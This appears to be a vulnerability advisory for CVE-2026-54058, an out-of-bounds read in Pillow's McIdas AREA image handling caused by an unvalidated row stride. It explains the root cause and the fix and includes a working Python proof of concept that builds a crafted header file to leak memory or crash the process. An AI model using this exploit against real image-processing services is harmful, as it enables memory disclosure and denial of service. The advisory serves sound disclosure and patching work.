CVE-2026-54058: Pillow Out-of-Bounds Read via Undersized McIdas AREA Row Stride
A crafted McIdas AREA image with a manipulated row-stride field tricks Pillow into reading far beyond a memory-mapped file, leaking adjacent process memory or crashing the worker.
The problem
Pillow's mmap path for raw-codec tiles (used when opening an image from a filename) builds per-row pointers spaced `stride` bytes apart inside the mapped file. The McIdas AREA plugin derives `stride` directly from attacker-controlled 32-bit header words with no lower-bound validation.
Setting stride to 1 while keeping a large `xsize` passes every size check in both `ImageFile.py` and `map.c` (which only verify `offset + ysize*stride <= buffer_len`). Once any pixel-access call (`tobytes`, `getpixel`, `convert`, `save`) fires, the raw encoder reads `xsize` bytes from each row pointer, running far past the mapped region.
The result is either leaked adjacent heap or mmap memory (information disclosure) or a SIGBUS crash (denial of service).
Proof of concept
A working proof-of-concept for CVE-2026-54058 in pillow, with the exact payload below.
import struct
from PIL import Image
# McIdas AREA file layout: 256-byte header of 64 big-endian int32s (words 1-64).
# Word indices below are 1-based (w[1] = first int32).
#
# Exploit values:
# w[1] = 0 (must be 0 for _accept to pass; the real prefix check is the
# first 8 bytes == b'\x00\x00\x00\x00\x00\x00\x00\x04')
# w[2] = 4 (second word must be 4)
# w[9] = 1 ysize = 1 row
# w[10] = 200000 xsize = 200 000 pixels (real bytes read per row)
# w[11] = 1 bytes/pixel => mode "L", pixelsize=1, in _MAPMODES
# w[14] = 0 => stride term w[10]*w[11]*w[14] = 0
# w[15] = 1 => stride = w[15] + 0 = 1 (far below linesize=200000)
# w[34] = 0 => tile offset = w[34]+w[15] = 1
#
# stride=1 satisfies: offset+ysize*stride = 1+1*1 = 2 <= 256 (file length) -> passes guard.
# But the raw "L" encoder then reads xsize=200000 bytes from im->image[0],
# which starts at mmap+1 inside a 256-byte file -> OOB read.
words = [0] * 65 # 1-indexed; words[0] unused
words[2] = 4 # _accept: w[2] must equal 4
words[9] = 1 # ysize
words[10] = 200000 # xsize
words[11] = 1 # bytes per pixel (mode L)
words[14] = 0 # multiplier -> kills stride padding
words[15] = 1 # base stride (sets stride=1 and offset=1)
words[34] = 0 # additional offset
# Pack words[1..64] as big-endian signed int32; word[0] is padding
header = struct.pack("!64i", *words[1:65])
assert len(header) == 256
with open("/tmp/poc.area", "wb") as f:
f.write(header) # 256-byte header; no pixel data needed
# Trigger: open from a path so Pillow takes the mmap branch
img = Image.open("/tmp/poc.area")
data = img.tobytes() # OOB read happens here -> leaked memory or SIGBUSThe root cause (CWE-125) is a missing lower-bound check on `stride` in `PyImaging_MapBuffer` (`src/map.c`). The function accepts any positive `stride`, so setting it to 1 satisfies the `offset + ysize*stride <= buffer_len` guard with a 256-byte header file while the actual per-row read width (`im->linesize = xsize * pixelsize`) is 200,000 bytes.
The patch in PR #9719 adds a check that rejects any stride smaller than the computed line size, so row pointers can never reach outside the mapped region. Defense-in-depth validation was also added to `McIdasImagePlugin._open` to reject a stride that is less than `xsize * pixelsize` before the tile is even registered.
The fix
Upgrade Pillow to 12.3.0 or later (`pip install --upgrade pillow`). The fix in commit 6a8de891 (PR #9719) ensures `stride >= im->linesize` in `PyImaging_MapBuffer` and adds input validation in `McIdasImagePlugin._open`. No configuration workaround exists in older versions; update is the only remediation.
Reported by Devansh Shah, RUDRA Cybersecurity Pvt. Ltd..
Related research
- highCVE-2026-59204CVE-2026-59204: Pillow JPEG2000 Tiled Decode Memory Exhaustion
- high · 7.5CVE-2026-59205CVE-2026-59205: Pillow Controlled Heap Out-of-Bounds Write in ImageCmsTransform.apply()
- high · 7.5CVE-2026-54059CVE-2026-54059: Pillow PcfFontFile Decompression Bomb Protection Bypass
- high · 7.5CVE-2026-54060CVE-2026-54060: Pillow FontFile.compile() Decompression Bomb Bypass